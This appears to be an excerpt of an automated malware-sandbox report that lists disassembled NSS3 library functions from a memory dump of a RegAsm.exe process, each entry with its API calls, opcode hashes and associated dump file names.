Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: 9de6d66dec818e1cc4f757a90b013163ac33b4dfebf862fa42c0af483451f8af
Instruction ID: 1bcb77226ec32bb1e02000db0a077010b3f83892bbcbebc7dec2276c9bc2b273
Opcode Fuzzy Hash: 9de6d66dec818e1cc4f757a90b013163ac33b4dfebf862fa42c0af483451f8af
Instruction Fuzzy Hash: 1741C232B043059BD704DF29D850A9ABBF9FFC5364F108929FC58873A0E734D9418B91

Function 6C09CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C09CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C09CC7B), ref: 6C09CD7A
Part of subcall function 6C09CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C09CD8E
Part of subcall function 6C09CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C09CDA5
Part of subcall function 6C09CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C09CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C09CCB5
memcpy.VCRUNTIME140(6C1314F4,6C1302AC,00000090), ref: 6C09CCD3
memcpy.VCRUNTIME140(6C131588,6C1302AC,00000090), ref: 6C09CD2B

Part of subcall function 6BFB9AC0: socket.WSOCK32(?,00000017,6BFB99BE), ref: 6BFB9AE6
Part of subcall function 6BFB9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6BFB99BE), ref: 6BFB9AFC

Part of subcall function 6BFC0590: closesocket.WSOCK32(6BFB9A8F,?,?,6BFB9A8F,00000000), ref: 6BFC0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C09CCB0

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 88009b648cf235e6893a3875bf3069e6ab98c76f4e752ce9f25bbe5ed59a376e
Instruction ID: 64bdb0e3f3ba0327d6c6cea5351d41f5dad49f8bc618414b7cc7baab2eae5004
Opcode Fuzzy Hash: 88009b648cf235e6893a3875bf3069e6ab98c76f4e752ce9f25bbe5ed59a376e
Instruction Fuzzy Hash: 6D1181F2B44255DEDB209F6A98067423AF8934B31CF202029E50EDBB51EB71D4046BF6

Function 6BFBAB80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BFBAB8A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6BFBAC07

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_LogPrint.NSS3(connect -> %d,00000000), ref: 6BFBAC1A

Strings

connect -> %d, xrefs: 6BFBAC15

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$ErrorPrint
String ID: connect -> %d
API String ID: 1784924131-3487059786
Opcode ID: ed28fcae1fd2cc1cc3521ff6d28273cfddb8d446077cf1d86622950f50180d61
Instruction ID: 0fef9254f2dfc4e6f5a460cfbd30aede6f90c9168dcfd6f4e829ba0b3882a69e
Opcode Fuzzy Hash: ed28fcae1fd2cc1cc3521ff6d28273cfddb8d446077cf1d86622950f50180d61
Instruction Fuzzy Hash: 67012672B001045BF7152B39CC0ABAA3BE2EB42319F04C574E96986271EF7998908691

Function 6BFCC9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6BFCCB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BFCCB4B
sqlite3_free.NSS3 ref: 6BFCCB70
sqlite3_result_error_nomem.NSS3 ref: 6BFCCB99

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 7613adb8ee68b8c2335effc4336e2d2ef429da038df0162408fcbf0b58c19d7f
Instruction ID: ee0a5ce87bbb4f2799ef83039b2d08d57b08fb780701fb27c70edbf7ad3f7522
Opcode Fuzzy Hash: 7613adb8ee68b8c2335effc4336e2d2ef429da038df0162408fcbf0b58c19d7f
Instruction Fuzzy Hash: 8051C273A08B468AC711DF34C05422BF7F5BF8AB94F01864DE8996B160EB3994D5C793

Function 6C0EA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C0EA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C0EA662), ref: 6C0EA69E
Part of subcall function 6C0EA690: PR_NewCondVar.NSS3(?), ref: 6C0EA6B4

PR_IntervalNow.NSS3 ref: 6C0EA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C0EA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C0EA944
PR_SetPollableEvent.NSS3(?), ref: 6C0EA94F

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: f6bc8c8b68cc85a9eb5b354f6a8a5f467cc7f59bb39aac00d47fb71e04ea711d
Instruction ID: db4001df8b4013faa3a0192bbaeaca713efa7b2d19171154697e7989de008cba
Opcode Fuzzy Hash: f6bc8c8b68cc85a9eb5b354f6a8a5f467cc7f59bb39aac00d47fb71e04ea711d
Instruction Fuzzy Hash: 2E4127B4A01A029FC744CF29D580A5AFBF5FF8C318725856AE959CBB11E731F850CB90

Function 6C042C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C041289,?), ref: 6C042D72

Part of subcall function 6C043390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C042CA7,E80C76FF,?,6C041289,?), ref: 6C0433E9
Part of subcall function 6C043390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C04342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C041289,?), ref: 6C042D61

Part of subcall function 6C040B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C040B21
Part of subcall function 6C040B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C040B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C041289,?), ref: 6C042D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C041289,?), ref: 6C042DAF

Part of subcall function 6BFFB8F0: PR_CallOnceWithArg.NSS3(6C132178,6BFFBCF0,?), ref: 6BFFB915
Part of subcall function 6BFFB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6BFFB933
Part of subcall function 6BFFB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6BFFB9C8
Part of subcall function 6BFFB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6BFFB9E1

Part of subcall function 6C040A50: SECOID_GetAlgorithmTag_Util.NSS3(6C042A90,E8571076,?,6C042A7C,6C0421F1,?,?,?,00000000,00000000,?,?,6C0421DD,00000000), ref: 6C040A66

Part of subcall function 6C043310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C042D1E,?,?,?,?,00000000,?,?,?,?,?,6C041289), ref: 6C043348

Part of subcall function 6C0406F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C042E70,00000000), ref: 6C040701

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: a7af216c7387fc274d88fb019c31e45ce0fcf2cff0a1c8e8b6a0250d1550289c
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 8931C8B6A00201EBDF009F64EC45B9B3BE9AF4521DF144130ED159BB92E731F969C7A2

Function 6C046DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C046E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C046E57

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C046E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C046EAA

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: fd7cdfe0d15a6b8a923ea4e49d65d09e3a6a3a66f04069b90d56184a12e642d3
Instruction ID: 846b10f12e3da9087b0b1e4f72bb4eaf1af6943f03df69ecc3f7c654ceaf898f
Opcode Fuzzy Hash: fd7cdfe0d15a6b8a923ea4e49d65d09e3a6a3a66f04069b90d56184a12e642d3
Instruction Fuzzy Hash: 7F31BF72610612EEDB145F75D804B9BB7E4AB0531AF50863CD89AD7A41FB30B898CF81

Function 6C042880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C042896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C042932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C04294C
free.MOZGLUE(?), ref: 6C042955

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 15c01f849092f4dd42d3afdf13c3ec347dc14e65ad111cab0365c87381005eba
Instruction ID: a63a3fd925e48e04d8189a23dcc487cddad2302c1af542a2bbf757152170e841
Opcode Fuzzy Hash: 15c01f849092f4dd42d3afdf13c3ec347dc14e65ad111cab0365c87381005eba
Instruction Fuzzy Hash: E02192B6700600DBE7109B26DC09F5777E9AF84359F05853CE449C7B61FB31F8598A51

Function 6C07A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C062AE9,00000000,0000065C), ref: 6C07A91D

Part of subcall function 6C01ADC0: TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE10
Part of subcall function 6C01ADC0: EnterCriticalSection.KERNEL32(?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE24
Part of subcall function 6C01ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6BFFD079,00000000,00000001), ref: 6C01AE5A
Part of subcall function 6C01ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE6F
Part of subcall function 6C01ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE7F
Part of subcall function 6C01ADC0: TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEB1
Part of subcall function 6C01ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C062AE9,00000000,0000065C), ref: 6C07A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6C062AE9,00000000,0000065C), ref: 6C07A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6C07A952

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 0fe2ee881cae1f720d3344d1acfcf6638608eeb0f32ad976bae16bc3f73cdd56
Instruction ID: 22fa32778d733ac5c375d963697c9b8d606e6dc1ad5abd31e234a3481f4b10e9
Opcode Fuzzy Hash: 0fe2ee881cae1f720d3344d1acfcf6638608eeb0f32ad976bae16bc3f73cdd56
Instruction Fuzzy Hash: F8314DB46012119FDB08CF24D980F62B7E8FF49358B2581A9E8098F756E730E915CFB1

Function 6BFFABF0 Relevance: 6.1, APIs: 4, Instructions: 74stringCOMMON

Download Yara Rule

APIs

CERT_GetFirstEmailAddress.NSS3(?), ref: 6BFFAC0B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BFFAC26
PR_Now.NSS3 ref: 6BFFAC34
CERT_GetNextEmailAddress.NSS3(?,00000000), ref: 6BFFAC6E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: AddressEmail$FirstNextstrcmp
String ID:
API String ID: 3008928262-0
Opcode ID: de1617c065006cd24d03ac68b15a9c72b40d5e3ec2d624449b4c5ecec6a7200f
Instruction ID: 37045e7855d0037ca1ede01bfb2534f2df8e8ece8b6d4d1c57361140513a70c2
Opcode Fuzzy Hash: de1617c065006cd24d03ac68b15a9c72b40d5e3ec2d624449b4c5ecec6a7200f
Instruction Fuzzy Hash: DF118177A002066FA7009F799C81A6B77FCAF45654B0404B8ED18C7331EB28E91586A6

Function 6C042DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C042E08

Part of subcall function 6C0314C0: TlsGetValue.KERNEL32 ref: 6C0314E0
Part of subcall function 6C0314C0: EnterCriticalSection.KERNEL32 ref: 6C0314F5
Part of subcall function 6C0314C0: PR_Unlock.NSS3 ref: 6C03150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C042E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C042E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C042E95

Part of subcall function 6C031200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C031228
Part of subcall function 6C031200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C031238
Part of subcall function 6C031200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C03124B
Part of subcall function 6C031200: PR_CallOnce.NSS3(6C132AA4,6C0312D0,00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C03125D
Part of subcall function 6C031200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C03126F
Part of subcall function 6C031200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C031280
Part of subcall function 6C031200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C03128E
Part of subcall function 6C031200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C03129A
Part of subcall function 6C031200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C0312A1

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 3a9a47abc860653d2bedcd4e3490accb3cf19cb195afc675bf9690c6f2fc57e7
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 4E21F9B1E003558BE700CF559D44BAB37E46F9530CF115279DD0C9B742F7B2E5948291

Function 6BFD69B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6BFD6AB7,0000000C,00000001,00000000,?,?,6BFD6AB7,?,00000000,?), ref: 6BFD69CE

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

SEC_ASN1EncodeItem_Util.NSS3(6BFD6AB7,0000001C,00000004,?,00000001,00000000), ref: 6BFD6A06
SEC_ASN1EncodeItem_Util.NSS3(6BFD6AB7,?,00000000,?,00000001,00000000,?,?,6BFD6AB7,?,00000000,?), ref: 6BFD6A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6BFD6AB7,?,00000000,?), ref: 6BFD6A42

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: c5bbcd2ef891171aa2b25baf2f01f0988570c1fccf40bcbcd220a04b33ef9410
Instruction ID: 39c8a31ee0d45a342401427ef26c2ed2723619ef95c0abdca791e3ecc7958af3
Opcode Fuzzy Hash: c5bbcd2ef891171aa2b25baf2f01f0988570c1fccf40bcbcd220a04b33ef9410
Instruction Fuzzy Hash: F211CEB2A00211BFE710CF65DC80B56B3ECEB04758F088569FA6DC7611E739F845C6A0

Function 6C02ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C02F0AD,6C02F150,?,6C02F150,?,?,?), ref: 6C02ECBA

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C02ECD1

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C02ED02

Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C02ED5A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
